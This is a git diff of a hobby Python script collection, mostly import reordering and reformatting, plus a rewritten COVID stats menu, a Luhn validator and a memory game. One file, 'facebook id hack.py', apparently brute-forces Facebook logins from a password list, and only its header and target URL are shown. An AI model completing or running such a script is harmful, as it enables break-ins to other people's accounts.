██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗░██║██╔══██╗ ██║░░░██║██║██╔══██╗██║░░░██║██╔════╝
██║░░╚═╝██║░░██║██████╔╝██║░░██║██╔██╗██║███████║ ╚██╗░██╔╝██║██████╔╝██║░░░██║╚█████╗░
██║░░██╗██║░░██║██╔══██╗██║░░██║██║╚████║██╔══██║ ░╚████╔╝░██║██╔══██╗██║░░░██║░╚═══██╗
╚█████╔╝╚█████╔╝██║░░██║╚█████╔╝██║░╚███║██║░░██║ ░░╚██╔╝░░██║██║░░██║╚██████╔╝██████╔╝
-░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝ ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░"""
-)
-print("\nDeveloped By @TheDarkW3b")
-
-
-def choices():
- print("\n1 - To Know Corona Virus Update Across World")
- print("\n2 - To Know Corona Virus Update In India")
- choice = input("Enter 1 Or 2 :- ")
-
- if choice == "1":
- world()
- sleep(1)
- choices()
- elif choice == "2":
- india()
- sleep(1)
- choices()
- else:
- print("\nYou Have Entered Something Wrong, Please Enter Again")
- choices()
-
-
-choices()
+░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝ ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░
+"""
+ print(title_art)
+ print("\nDeveloped By @TheDarkW3b")
+ print("Data source: disease.sh API")
+
+ while True:
+ print("\n1 - To Know Corona Virus Update Across World")
+ print("2 - To Know Corona Virus Update In India")
+ choice = input("Enter 1 Or 2 (or 'q' to quit): ").strip()
+
+ if choice == "1":
+ print(format_world_stats(global_data))
+ time.sleep(1)
+ elif choice == "2":
+ print(format_india_stats(india_data))
+ time.sleep(1)
+ elif choice.lower() == "q":
+ print("Exiting... Stay safe!")
+ break
+ else:
+ print("\n⚠️ Invalid input. Please enter 1, 2, or 'q' to quit.")
+
+
+if __name__ == "__main__":
+ try:
+ main()
+ except KeyboardInterrupt:
+ print("\n👋 Interrupted by user. Goodbye!")
+ sys.exit(0)
diff --git a/dialogs/messagebox.py b/dialogs/messagebox.py
index 2a57cb7d1b4..eea63cf3990 100644
--- a/dialogs/messagebox.py
+++ b/dialogs/messagebox.py
@@ -1,5 +1,4 @@
-# Use the MessageBox() function to display a simple message box.
-
from quo.dialog import MessageBox
+from quo.text import Text
-MessageBox(title="Example dialog window", text="Do you want to continue?")
+MessageBox(title=Text("Example dialog window"), text=Text('Do you want to "continue"?'))
diff --git a/dialogs/requirements.txt b/dialogs/requirements.txt
index 51d89fc61fc..d7e12d59f12 100644
--- a/dialogs/requirements.txt
+++ b/dialogs/requirements.txt
@@ -1 +1 @@
-quo>=2022.4
+quo>=2022.8
\ No newline at end of file
diff --git a/dice.py b/dice.py
index 7f05f277683..142e4128cae 100644
--- a/dice.py
+++ b/dice.py
@@ -1,9 +1,10 @@
import random
+
class Die:
"""
A class used to represent a multi-sided die.
-
+
Attributes:
sides (int): The number of sides on the die (default is 6).
"""
@@ -15,7 +16,7 @@ def __init__(self, sides=6):
def set_sides(self, num_sides):
"""
- Validates and sets the number of sides.
+ Validates and sets the number of sides.
A physical die must have at least 4 sides.
"""
if isinstance(num_sides, int) and num_sides >= 4:
@@ -31,9 +32,10 @@ def roll(self):
"""Returns a random integer between 1 and the number of sides."""
return random.randint(1, self.sides)
+
# --- Example Usage ---
if __name__ == "__main__":
d1 = Die(4) # Initialize directly with 4 sides
- d2 = Die(12) # A Dungeons & Dragons classic
-
+ d2 = Die(12) # A Dungeons & Dragons classic
+
print(f"Roll Result: D{d1.sides} -> {d1.roll()}, D{d2.sides} -> {d2.roll()}")
diff --git a/dice_roller.py b/dice_roller.py
index de805c61646..06c1e9ed92e 100644
--- a/dice_roller.py
+++ b/dice_roller.py
@@ -1,37 +1,12 @@
import random
-
dice_art = {
- 1: ("┌─────────┐",
- "│ │",
- "│ ● │",
- "│ │",
- "└─────────┘"),
- 2: ("┌─────────┐",
- "│ ● │",
- "│ │",
- "│ ● │",
- "└─────────┘"),
- 3: ("┌─────────┐",
- "│ ● │",
- "│ ● │",
- "│ ● │",
- "└─────────┘"),
- 4: ("┌─────────┐",
- "│ ● ● │",
- "│ │",
- "│ ● ● │",
- "└─────────┘"),
- 5: ("┌─────────┐",
- "│ ● ● │",
- "│ ● │",
- "│ ● ● │",
- "└─────────┘"),
- 6: ("┌─────────┐",
- "│ ● ● │",
- "│ ● ● │",
- "│ ● ● │",
- "└─────────┘")
+ 1: ("┌─────────┐", "│ │", "│ ● │", "│ │", "└─────────┘"),
+ 2: ("┌─────────┐", "│ ● │", "│ │", "│ ● │", "└─────────┘"),
+ 3: ("┌─────────┐", "│ ● │", "│ ● │", "│ ● │", "└─────────┘"),
+ 4: ("┌─────────┐", "│ ● ● │", "│ │", "│ ● ● │", "└─────────┘"),
+ 5: ("┌─────────┐", "│ ● ● │", "│ ● │", "│ ● ● │", "└─────────┘"),
+ 6: ("┌─────────┐", "│ ● ● │", "│ ● ● │", "│ ● ● │", "└─────────┘"),
}
dice = []
@@ -54,4 +29,4 @@
for die in dice:
total += die
-print(f"total: {total}")
\ No newline at end of file
+print(f"total: {total}")
diff --git a/diction.py b/diction.py
index e4757e3db0e..89b2555a1cf 100644
--- a/diction.py
+++ b/diction.py
@@ -1,6 +1,7 @@
+import json
from difflib import get_close_matches
+
import pyttsx3
-import json
import speech_recognition as sr
data = json.load(open("data.json"))
diff --git a/digital_clock.py b/digital_clock.py
index 98b7e6fc00e..a5c6c352d19 100644
--- a/digital_clock.py
+++ b/digital_clock.py
@@ -5,15 +5,15 @@
import time
+# importing strftime function to
+# retrieve system's time
+from time import strftime
+
# because we need digital clock , so we are importing the time library.
# master
from tkinter import *
from tkinter.ttk import *
-# importing strftime function to
-# retrieve system's time
-from time import strftime
-
# creating tkinter window
root = Tk()
root.title("Clock")
diff --git a/facebook id hack.py b/facebook id hack.py
index b9c1d607311..e23bd4a4a94 100644
--- a/facebook id hack.py
+++ b/facebook id hack.py
@@ -1,18 +1,17 @@
# Author-Kingslayer
# Email-kingslayer8509@gmail.com
# you need to create a file password.txt which contains all possible passwords
+import sys
+
import requests
from bs4 import BeautifulSoup
-import sys
if sys.version_info[0] != 3:
- print(
- """--------------------------------------
+ print("""--------------------------------------
REQUIRED PYTHON 3.x
use: python3 fb.py
--------------------------------------
- """
- )
+ """)
sys.exit()
post_url = "https://www.facebook.com/login.php"
diff --git a/facebook-autologin-bot.py b/facebook-autologin-bot.py
index 261f02721d5..81962eeb1ed 100644
--- a/facebook-autologin-bot.py
+++ b/facebook-autologin-bot.py
@@ -1,5 +1,6 @@
-import pyttsx3
import time
+
+import pyttsx3
from selenium import webdriver
tts = pyttsx3.init()
diff --git a/fastapi.py b/fastapi.py
index 8689d7c5b65..0f5db2e787f 100644
--- a/fastapi.py
+++ b/fastapi.py
@@ -1,7 +1,9 @@
-from fastapi import FastAPI
-from pydantic import BaseModel
from typing import Optional
+from pydantic import BaseModel
+
+from fastapi import FastAPI
+
app = FastAPI()
# temp database
diff --git a/file_ext_changer.py b/file_ext_changer.py
index 407e46f991c..1f27659aa7b 100644
--- a/file_ext_changer.py
+++ b/file_ext_changer.py
@@ -1,9 +1,9 @@
"""' Multiple extension changer"""
+import hashlib
+import random as rand
import time
from pathlib import Path as p
-import random as rand
-import hashlib
def chxten_(files, xten):
diff --git a/file_handle/File handle binary/Update a binary file2.py b/file_handle/File handle binary/Update a binary file2.py
index 37b5a24e459..b32f69ffee3 100644
--- a/file_handle/File handle binary/Update a binary file2.py
+++ b/file_handle/File handle binary/Update a binary file2.py
@@ -1,7 +1,7 @@
# updating records in a binary file
-import pickle
import os
+import pickle
base = os.path.dirname(__file__)
from dotenv import load_dotenv
diff --git a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py
index 27a29f887dc..2b9b770c2d5 100644
--- a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py
+++ b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py
@@ -12,15 +12,15 @@
## Find bright students and weak students
-from dotenv import load_dotenv
import os
+from dotenv import load_dotenv
+
base = os.path.dirname(__file__)
load_dotenv(os.path.join(base, ".env"))
student_record = os.getenv("STUDENTS_RECORD_FILE")
import pickle
-import logging
# Define logger with info
# import polar
diff --git a/file_handle/File handle binary/search record in binary file.py b/file_handle/File handle binary/search record in binary file.py
index a3b89e69c87..61c1a4b3ee7 100644
--- a/file_handle/File handle binary/search record in binary file.py
+++ b/file_handle/File handle binary/search record in binary file.py
@@ -1,7 +1,6 @@
# binary file to search a given record
import pickle
-from dotenv import load_dotenv
def search():
diff --git a/file_handle/File handle binary/update2.py b/file_handle/File handle binary/update2.py
index ecb55168906..b914f3042a8 100644
--- a/file_handle/File handle binary/update2.py
+++ b/file_handle/File handle binary/update2.py
@@ -1,5 +1,6 @@
-import pickle
import os
+import pickle
+
from dotenv import load_dotenv
base = os.path.dirname(__file__)
diff --git a/file_handle/File handle text/counter.py b/file_handle/File handle text/counter.py
index 0cf3d03819a..42d3b25f20d 100644
--- a/file_handle/File handle text/counter.py
+++ b/file_handle/File handle text/counter.py
@@ -14,7 +14,6 @@
# ! Based on requirements of it
-
## ! The questions are nothing but test-cases
## ! Make a test thing and handle it.
# does it count only alphabets or numerics too?
diff --git a/file_handle/File handle text/question 5.py b/file_handle/File handle text/question 5.py
index 1c3ec52935e..e6ec8b479ac 100644
--- a/file_handle/File handle text/question 5.py
+++ b/file_handle/File handle text/question 5.py
@@ -1,8 +1,9 @@
"""Write a function in python to count the number of lowercase
alphabets present in a text file “happy.txt"""
-import time
import os
+import time
+
from counter import Counter
print(
diff --git a/floodfill/floodfill.py b/floodfill/floodfill.py
index b4c39735f23..e57f2fdd7d8 100644
--- a/floodfill/floodfill.py
+++ b/floodfill/floodfill.py
@@ -26,8 +26,8 @@ def generateClosedPolygons(self):
if self.window_height < 128 or self.window_width < 128:
return # surface too small
+ from math import cos, pi, sin
from random import randint, uniform
- from math import pi, sin, cos
for n in range(0, randint(0, 5)):
x = randint(50, self.window_width - 50)
diff --git a/friday.py b/friday.py
index 544a1d7516d..4c0b4f3b5af 100644
--- a/friday.py
+++ b/friday.py
@@ -1,6 +1,7 @@
-import pyttsx3
import os
+import pyttsx3
+
var = 1
while var > 0:
diff --git a/game_of_life/game_o_life.py b/game_of_life/game_o_life.py
index 045c3715b51..ee58d1c27dc 100644
--- a/game_of_life/game_o_life.py
+++ b/game_of_life/game_o_life.py
@@ -32,7 +32,6 @@
import sys
import numpy as np
-
from matplotlib import use as mpluse
mpluse("TkAgg")
diff --git a/get_youtube_view.py b/get_youtube_view.py
index 77f1b1a29b8..118f0f7c37f 100644
--- a/get_youtube_view.py
+++ b/get_youtube_view.py
@@ -2,6 +2,7 @@
Created on Thu Apr 27 16:28:36 2017
@author: barnabysandeford
"""
+
# Currently works for Safari, but just change to whichever
# browser you're using.
diff --git a/googlemaps.py b/googlemaps.py
index 8b049bcbaf1..779230e6157 100644
--- a/googlemaps.py
+++ b/googlemaps.py
@@ -1,5 +1,5 @@
-import requests
import geocoder
+import requests
g = geocoder.ip("me")
diff --git a/googleweb.py b/googleweb.py
index 3b59364522d..2f5e9fb6672 100644
--- a/googleweb.py
+++ b/googleweb.py
@@ -1,8 +1,8 @@
-from fuzzywuzzy import fuzz
import bs4
-import requests
import numpy as np
import pandas as pd
+import requests
+from fuzzywuzzy import fuzz
requests.packages.urllib3.disable_warnings()
FinalResult = []
diff --git a/gstin_scraper.py b/gstin_scraper.py
index a043480331e..be5804e25c0 100644
--- a/gstin_scraper.py
+++ b/gstin_scraper.py
@@ -1,7 +1,8 @@
-from bs4 import BeautifulSoup
-import requests
import time
+import requests
+from bs4 import BeautifulSoup
+
# Script Name : gstin_scraper.py
# Author : Purshotam
# Created : Sep 6, 2021 7:59 PM
diff --git a/happy_num.py b/happy_num.py
index d2d30dde99a..4e0d395f96a 100644
--- a/happy_num.py
+++ b/happy_num.py
@@ -1,5 +1,6 @@
# Way2 1:
+
# isHappyNumber() will determine whether a number is happy or not
def isHappyNumber(num):
rem = sum = 0
diff --git a/image2pdf/image2pdf.py b/image2pdf/image2pdf.py
index 4a353dbfd52..e8a96d16c08 100644
--- a/image2pdf/image2pdf.py
+++ b/image2pdf/image2pdf.py
@@ -1,6 +1,7 @@
-from PIL import Image
import os
+from PIL import Image
+
class image2pdf:
def __init__(self):
diff --git a/image_compressor.py b/image_compressor.py
index 94d584136f6..ef48b158a75 100644
--- a/image_compressor.py
+++ b/image_compressor.py
@@ -1,11 +1,13 @@
import os
import sys
+
from PIL import Image
+
def compress_image(image_path, quality=60):
"""
Compresses an image by reducing its quality.
-
+
Args:
image_path (str): Path to the image file.
quality (int): Quality of the output image (1-100). Default is 60.
@@ -25,20 +27,21 @@ def compress_image(image_path, quality=60):
# Save with reduced quality
# Optimize=True ensures the encoder does extra work to minimize size
img.save(output_path, quality=quality, optimize=True)
-
+
# Calculate savings
original_size = os.path.getsize(image_path)
new_size = os.path.getsize(output_path)
savings = ((original_size - new_size) / original_size) * 100
-
+
print(f"[+] Compressed: {output_path}")
- print(f" Original: {original_size/1024:.2f} KB")
- print(f" New: {new_size/1024:.2f} KB")
+ print(f" Original: {original_size / 1024:.2f} KB")
+ print(f" New: {new_size / 1024:.2f} KB")
print(f" Saved: {savings:.2f}%")
except Exception as e:
print(f"[-] Error compressing {image_path}: {e}")
+
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python image_compressor.py ")
@@ -48,4 +51,4 @@ def compress_image(image_path, quality=60):
if os.path.exists(target_file):
compress_image(target_file)
else:
- print(f"Error: File '{target_file}' not found.")
\ No newline at end of file
+ print(f"Error: File '{target_file}' not found.")
diff --git a/inheritance_YahV1729.py b/inheritance_YahV1729.py
index 7b59954fe61..4ef8c724ab2 100644
--- a/inheritance_YahV1729.py
+++ b/inheritance_YahV1729.py
@@ -1,5 +1,6 @@
# A Python program to demonstrate inheritance
+
# Base or Super class. Note object in bracket.
# (Generally, object is made ancestor of all classes)
# In Python 3.x "class Person" is
diff --git a/invisible_clock.py b/invisible_clock.py
index 17f6d97b106..87f27c27249 100644
--- a/invisible_clock.py
+++ b/invisible_clock.py
@@ -1,11 +1,11 @@
# Hey you need red color cloak
+import time
+
import cv2
+import numpy as np
# superinposing two images
-import numpy as np
-
-import time
cap = cv2.VideoCapture(0)
diff --git a/loader.py b/loader.py
index 41838271f63..faf30df7f72 100644
--- a/loader.py
+++ b/loader.py
@@ -6,9 +6,9 @@
"""
import itertools
+import sys
import threading
import time
-import sys
# The task is not done right now
done = False
diff --git a/luhn_algorithm_for_credit_card_validation.py b/luhn_algorithm_for_credit_card_validation.py
index 7eac88701f8..5951da747ff 100644
--- a/luhn_algorithm_for_credit_card_validation.py
+++ b/luhn_algorithm_for_credit_card_validation.py
@@ -1,41 +1,131 @@
+#!/usr/bin/env python3
"""
-The Luhn Algorithm is widely used for error-checking in various applications, such as verifying credit card numbers.
-
-By building this project, you'll gain experience working with numerical computations and string manipulation.
+Luhn Algorithm – Credit Card Number Validation
+This module provides a function to validate a card number using the Luhn algorithm.
+It also includes a command-line interface and a set of unit tests.
"""
-# TODO: To make it much more better and succint
+import sys
+
+
+def clean_card_number(card_number: str) -> str:
+ """
+ Remove all non-digit characters from the input string.
+
+ Args:
+ card_number: Raw input possibly containing spaces, hyphens, etc.
+
+ Returns:
+ A string containing only digits.
+
+ Raises:
+ ValueError: If after cleaning no digits remain.
+ """
+ cleaned = "".join(ch for ch in card_number if ch.isdigit())
+ if not cleaned:
+ raise ValueError("Card number must contain at least one digit.")
+ return cleaned
+
+
+def validate_luhn(card_number: str) -> bool:
+ """
+ Verify whether a given card number (as a string of digits) passes the Luhn check.
+ The algorithm:
+ - Reverse the digits.
+ - Sum the digits in odd positions (1st, 3rd, ... from the right) as-is.
+ - For digits in even positions (2nd, 4th, ... from the right), double them;
+ if the result is >9, subtract 9.
+ - The card is valid if the total sum is a multiple of 10.
-def verify_card_number(card_number):
- sum_of_odd_digits = 0
- card_number_reversed = card_number[::-1]
- odd_digits = card_number_reversed[::2]
+ Args:
+ card_number: A string of digits (no separators).
- for digit in odd_digits:
- sum_of_odd_digits += int(digit)
+ Returns:
+ True if the number passes the Luhn check, False otherwise.
- sum_of_even_digits = 0
- even_digits = card_number_reversed[1::2]
- for digit in even_digits:
- number = int(digit) * 2
- if number >= 10:
- number = (number // 10) + (number % 10)
- sum_of_even_digits += number
- total = sum_of_odd_digits + sum_of_even_digits
+ Raises:
+ ValueError: If card_number contains non-digit characters.
+ """
+ if not card_number.isdigit():
+ raise ValueError("Card number must contain only digits.")
+
+ # Work from the rightmost digit
+ reversed_digits = [int(d) for d in card_number[::-1]]
+
+ # Sum digits at odd positions (1-indexed from the right)
+ odd_sum = sum(reversed_digits[0::2]) # indices 0,2,4,...
+
+ # Sum digits at even positions after doubling and subtracting 9 if >=10
+ even_sum = 0
+ for d in reversed_digits[1::2]: # indices 1,3,5,...
+ doubled = d * 2
+ even_sum += doubled if doubled < 10 else doubled - 9
+
+ total = odd_sum + even_sum
return total % 10 == 0
-def main():
- card_number = "4111-1111-4555-1142"
- card_translation = str.maketrans({"-": "", " ": ""})
- translated_card_number = card_number.translate(card_translation)
+def main() -> None:
+ """Command-line entry point. Reads a card number from the user and prints validation result."""
+ try:
+ raw = input("Enter a credit card number (e.g., 4111-1111-4555-1142): ").strip()
+ cleaned = clean_card_number(raw)
+
+ if validate_luhn(cleaned):
+ print("VALID!")
+ else:
+ print("INVALID!")
+
+ except ValueError as e:
+ print(f"Error: {e}", file=sys.stderr)
+ sys.exit(1)
- if verify_card_number(translated_card_number):
- print("VALID!")
- else:
- print("INVALID!")
+# =========================== Tests (pytest) ===========================
-main()
+
+# =========================== Tests (pytest) ===========================
+
+
+def test_clean_card_number():
+ """Test cleaning function."""
+ import pytest
+
+ assert clean_card_number("4111-1111-4555-1142") == "4111111145551142"
+ assert clean_card_number(" 123 ") == "123"
+ with pytest.raises(
+ ValueError, match="Card number must contain at least one digit."
+ ):
+ clean_card_number("")
+
+
+def test_validate_luhn_valid():
+ """Known valid cards."""
+ assert validate_luhn("4111111111111111") is True
+ assert validate_luhn("5555555555554444") is True
+ assert validate_luhn("378282246310005") is True
+
+
+def test_validate_luhn_invalid():
+ """Known invalid card numbers."""
+ assert validate_luhn("1234567890") is False
+ assert validate_luhn("4111111111111112") is False
+
+
+def test_validate_luhn_non_digit():
+ """Should raise ValueError on non-digit input."""
+ import pytest
+
+ with pytest.raises(ValueError, match="only digits"):
+ validate_luhn("1234abc")
+
+
+if __name__ == "__main__":
+ if "--test" in sys.argv:
+ import pytest
+
+ sys.exit(pytest.main([__file__]))
+ else:
+ main()
diff --git a/magic8ball.py b/magic8ball.py
deleted file mode 100644
index 816705b8e21..00000000000
--- a/magic8ball.py
+++ /dev/null
@@ -1,63 +0,0 @@
-import random
-from colorama import Fore, Style
-import inquirer
-
-responses = [
- "It is certain",
- "It is decidedly so",
- "Without a doubt",
- "Yes definitely",
- "You may rely on it",
- "As I see it, yes",
- "Most likely",
- "Outlook good",
- "Yes",
- "Signs point to yes",
- "Do not count on it",
- "My reply is no",
- "My sources say no",
- "Outlook not so good",
- "Very doubtful",
- "Reply hazy try again",
- "Ask again later",
- "Better not tell you now",
- "Cannot predict now",
- "Concentrate and ask again",
-]
-
-
-# Will use a class on it.
-# Will try to make it much more better.
-def get_user_name():
- return inquirer.text(
- message="Hi! I am the magic 8 ball, what's your name?"
- ).execute()
-
-
-def display_greeting(name):
- print(f"Hello, {name}!")
-
-
-def magic_8_ball():
- question = inquirer.text(message="What's your question?").execute()
- answer = random.choice(responses)
- print(Fore.BLUE + Style.BRIGHT + answer + Style.RESET_ALL)
- try_again()
-
-
-def try_again():
- response = inquirer.list_input(
- message="Do you want to ask more questions?",
- choices=["Yes", "No"],
- ).execute()
-
- if response.lower() == "yes":
- magic_8_ball()
- else:
- exit()
-
-
-if __name__ == "__main__":
- user_name = get_user_name()
- display_greeting(user_name)
- magic_8_ball()
diff --git a/magic_8_ball.py b/magic_8_ball.py
index 816705b8e21..cd2b6b2fe19 100644
--- a/magic_8_ball.py
+++ b/magic_8_ball.py
@@ -1,6 +1,7 @@
import random
-from colorama import Fore, Style
+
import inquirer
+from colorama import Fore, Style
responses = [
"It is certain",
diff --git a/mapit.py b/mapit.py
index 27fb71a92fc..434dde76f74 100644
--- a/mapit.py
+++ b/mapit.py
@@ -1,6 +1,8 @@
import sys
import webbrowser
+
import pyperclip
+
if len(sys.argv) > 1:
address = " ".join(sys.argv[1:])
diff --git a/meme_maker.py b/meme_maker.py
index 7cb4b550701..01cd6596451 100644
--- a/meme_maker.py
+++ b/meme_maker.py
@@ -1,6 +1,6 @@
import sys
-from PIL import ImageDraw, ImageFont, Image
+from PIL import Image, ImageDraw, ImageFont
def input_par():
diff --git a/memorygame.py b/memorygame.py
index 9266a2cd54e..92b6fe93e69 100644
--- a/memorygame.py
+++ b/memorygame.py
@@ -1,79 +1,208 @@
-from random import *
-from turtle import *
+#!/usr/bin/env python3
+"""
+Memory Game – a tile‑matching game using the Turtle graphics library.
+
+The board consists of 64 tiles (8x8 grid), each hiding one of 32 possible
+icons (numbers 0–31). The player clicks on tiles to reveal them. When two
+consecutive revealed tiles show the same icon, they remain visible; otherwise
+they are hidden again. The game continues until all pairs are found.
+
+Dependencies:
+ - Python standard library: random, turtle
+ - freegames (optional) – provides a car image; if not available, remove
+ the car-related lines and the game will work without it.
+
+Author: Adapted from a freegames example.
+Date: 2026-07-12
+"""
+
+import random
+import turtle
+
from freegames import path
+# ----------------------------------------------------------------------------
+# Game constants and global state
+# ----------------------------------------------------------------------------
+
+# Load the car image (used as a decorative stamp on the board)
car = path("car.gif")
+
+# Create a list of 64 tile values: each number from 0 to 31 appears exactly twice
tiles = list(range(32)) * 2
+
+# State dictionary: 'mark' stores the index of the currently selected tile
+# (the first tile clicked in a pair attempt). None means no tile is selected.
state = {"mark": None}
+
+# Boolean list indicating whether each tile is hidden (True = hidden, False = shown)
hide = [True] * 64
-def square(x, y):
- "Draw white square with black outline at (x, y)."
- up()
- goto(x, y)
- down()
- color("black", "white")
- begin_fill()
- for count in range(4):
- forward(50)
- left(90)
- end_fill()
+# ----------------------------------------------------------------------------
+# Drawing utilities
+# ----------------------------------------------------------------------------
+
+
+def square(x: float, y: float) -> None:
+ """
+ Draw a 50x50 white square with a black outline at the given coordinates.
+
+ The turtle starts at the bottom‑left corner of the square and draws it
+ counter‑clockwise using the standard forward/left movements.
+
+ Args:
+ x: X‑coordinate of the bottom‑left corner.
+ y: Y‑coordinate of the bottom‑left corner.
+ """
+ turtle.up()
+ turtle.goto(x, y)
+ turtle.down()
+ turtle.color("black", "white")
+ turtle.begin_fill()
+ for _ in range(4):
+ turtle.forward(50)
+ turtle.left(90)
+ turtle.end_fill()
+
+
+# ----------------------------------------------------------------------------
+# Coordinate and index conversion
+# ----------------------------------------------------------------------------
+
+def index(x: float, y: float) -> int:
+ """
+ Convert screen coordinates to a tile index (0‑63).
-def index(x, y):
- "Convert (x, y) coordinates to tiles index."
+ The board is arranged in an 8x8 grid, with each cell being 50x50 pixels.
+ The origin (0,0) is at the centre of the screen; the board occupies the
+ region from (-200, -200) to (200, 200). This function maps a click
+ position to the corresponding tile index, row‑major order.
+
+ Args:
+ x: X‑coordinate of the click (in turtle screen units).
+ y: Y‑coordinate of the click.
+
+ Returns:
+ int: Tile index (0 to 63).
+ """
return int((x + 200) // 50 + ((y + 200) // 50) * 8)
-def xy(count):
- "Convert tiles count to (x, y) coordinates."
+def xy(count: int) -> tuple[float, float]:
+ """
+ Convert a tile index to screen coordinates of its bottom‑left corner.
+
+ This is the inverse of `index()`. The calculation uses integer division
+ and modulo to determine the row and column.
+
+ Args:
+ count: Tile index (0‑63).
+
+ Returns:
+ tuple[float, float]: (x, y) coordinates of the tile's bottom‑left corner.
+ """
return (count % 8) * 50 - 200, (count // 8) * 50 - 200
-def tap(x, y):
- "Update mark and hidden tiles based on tap."
+# ----------------------------------------------------------------------------
+# Game logic
+# ----------------------------------------------------------------------------
+
+
+def tap(x: float, y: float) -> None:
+ """
+ Handle a mouse click event on the canvas.
+
+ This is the core game logic. It performs the following steps:
+ 1. Determine which tile was clicked.
+ 2. If no tile is currently marked (state["mark"] is None),
+ mark this tile as the first of a pair.
+ 3. If a tile is already marked and it is not the same tile,
+ compare the values of the marked tile and the newly clicked tile:
+ - If they match (same number), reveal both tiles permanently.
+ - If they do not match, unmark the tile (keep it hidden).
+ 4. If the same tile is clicked twice, it simply remains marked.
+
+ Args:
+ x: X‑coordinate of the click.
+ y: Y‑coordinate of the click.
+ """
spot = index(x, y)
mark = state["mark"]
+ # If no mark, or we clicked the same tile again, or the values differ:
+ # just set the mark to the new spot (or keep it if it's the same).
+ # Note: if the two values are different, we don't hide anything – the
+ # tile will be drawn hidden again in the next draw() cycle because
+ # hide[spot] remains True.
if mark is None or mark == spot or tiles[mark] != tiles[spot]:
state["mark"] = spot
else:
+ # Values match: reveal both tiles permanently.
hide[spot] = False
hide[mark] = False
+ # Clear the mark so the next click starts a new pair.
state["mark"] = None
-def draw():
- "Draw image and tiles."
- clear()
- goto(0, 0)
- shape(car)
- stamp()
-
+def draw() -> None:
+ """
+ Redraw the entire board and schedule the next animation frame.
+
+ This function is called repeatedly via turtle.ontimer() to update the
+ display. It:
+ - Clears the canvas.
+ - Draws the decorative car image at the centre.
+ - Draws a white square for every hidden tile.
+ - If a tile is marked and currently hidden, it writes the tile's
+ value (number) on top of that square.
+ - Finally, triggers a redraw after 100 milliseconds.
+
+ The use of turtle.tracer(False) and manual turtle.update() ensures
+ smooth animation without flickering.
+ """
+ turtle.clear()
+ turtle.goto(0, 0)
+ turtle.shape(car)
+ turtle.stamp() # Place the car image permanently on the canvas
+
+ # Draw all tiles that are still hidden.
for count in range(64):
if hide[count]:
x, y = xy(count)
square(x, y)
+ # If a tile is marked and hidden, display its value.
mark = state["mark"]
-
if mark is not None and hide[mark]:
x, y = xy(mark)
- up()
- goto(x + 2, y)
- color("black")
- write(tiles[mark], font=("Arial", 30, "normal"))
+ turtle.up()
+ turtle.goto(x + 2, y) # Shift slightly for better centering
+ turtle.color("black")
+ turtle.write(tiles[mark], font=("Arial", 30, "normal"))
+
+ turtle.update() # Refresh the screen with all drawn elements
+ turtle.ontimer(draw, 100) # Schedule next redraw (10 fps)
- update()
- ontimer(draw, 100)
+# ----------------------------------------------------------------------------
+# Main setup and execution
+# ----------------------------------------------------------------------------
-shuffle(tiles)
-setup(420, 420, 370, 0)
-addshape(car)
-hideturtle()
-tracer(False)
-onscreenclick(tap)
+# Shuffle the tile values to randomise the board layout.
+random.shuffle(tiles)
+
+# Configure the turtle window.
+turtle.setup(420, 420, 370, 0) # Window size, start x, start y
+turtle.addshape(car) # Register the car image as a shape
+turtle.hideturtle() # Hide the turtle cursor (we only need drawings)
+turtle.tracer(False) # Disable automatic updates for performance
+turtle.onscreenclick(tap) # Bind mouse clicks to the tap() function
+
+# Start the game loop.
draw()
-done()
+
+# Keep the window open (this is the main event loop).
+turtle.done()
diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py
index b749e210a0f..4d4f86875c5 100644
--- a/mobilePhoneSpecsScrapper.py
+++ b/mobilePhoneSpecsScrapper.py
@@ -1,11 +1,11 @@
-import requests
-from bs4 import BeautifulSoup
+# import time
+import json
# import csv
import os
-# import time
-import json
+import requests
+from bs4 import BeautifulSoup
class Phonearena:
diff --git a/nasa_apod_with_requests/run.py b/nasa_apod_with_requests/run.py
index 4d8048d022c..4cb95bbff14 100644
--- a/nasa_apod_with_requests/run.py
+++ b/nasa_apod_with_requests/run.py
@@ -1,7 +1,8 @@
-from settings import key
-import requests
import os
+import requests
+from settings import key
+
date = input("Enter date(YYYY-MM-DD): ")
r = requests.get(f"https://api.nasa.gov/planetary/apod?api_key={key}&date={date}")
parsed = r.json()
diff --git a/negative.py b/negative.py
index ee023d0f6ab..d5250e33ac6 100644
--- a/negative.py
+++ b/negative.py
@@ -1,6 +1,6 @@
-a= abs(int(input("enter any number")))
-b=0
+a = abs(int(input("enter any number")))
+b = 0
for i in str(a):
- b+=int(i)
+ b += int(i)
-print(b)
\ No newline at end of file
+print(b)
diff --git a/new.py b/new.py
deleted file mode 100644
index c5058551ec7..00000000000
--- a/new.py
+++ /dev/null
@@ -1,3 +0,0 @@
-
-print("Hello, world!")
-
diff --git a/news_oversimplifier.py b/news_oversimplifier.py
index 08b828584ff..1aced6e7bca 100644
--- a/news_oversimplifier.py
+++ b/news_oversimplifier.py
@@ -3,9 +3,10 @@
# (requires API key in .env file)
-import requests
import os
import sys
+
+import requests
from dotenv import load_dotenv
from summa.summarizer import summarize
diff --git a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py
index 6eddf2d6b85..0001cb98c57 100644
--- a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py
+++ b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py
@@ -4,7 +4,6 @@
# On CMD, or Terminal.
import hupper
-
# Python program to create a simple GUI
# calculator using Tkinter
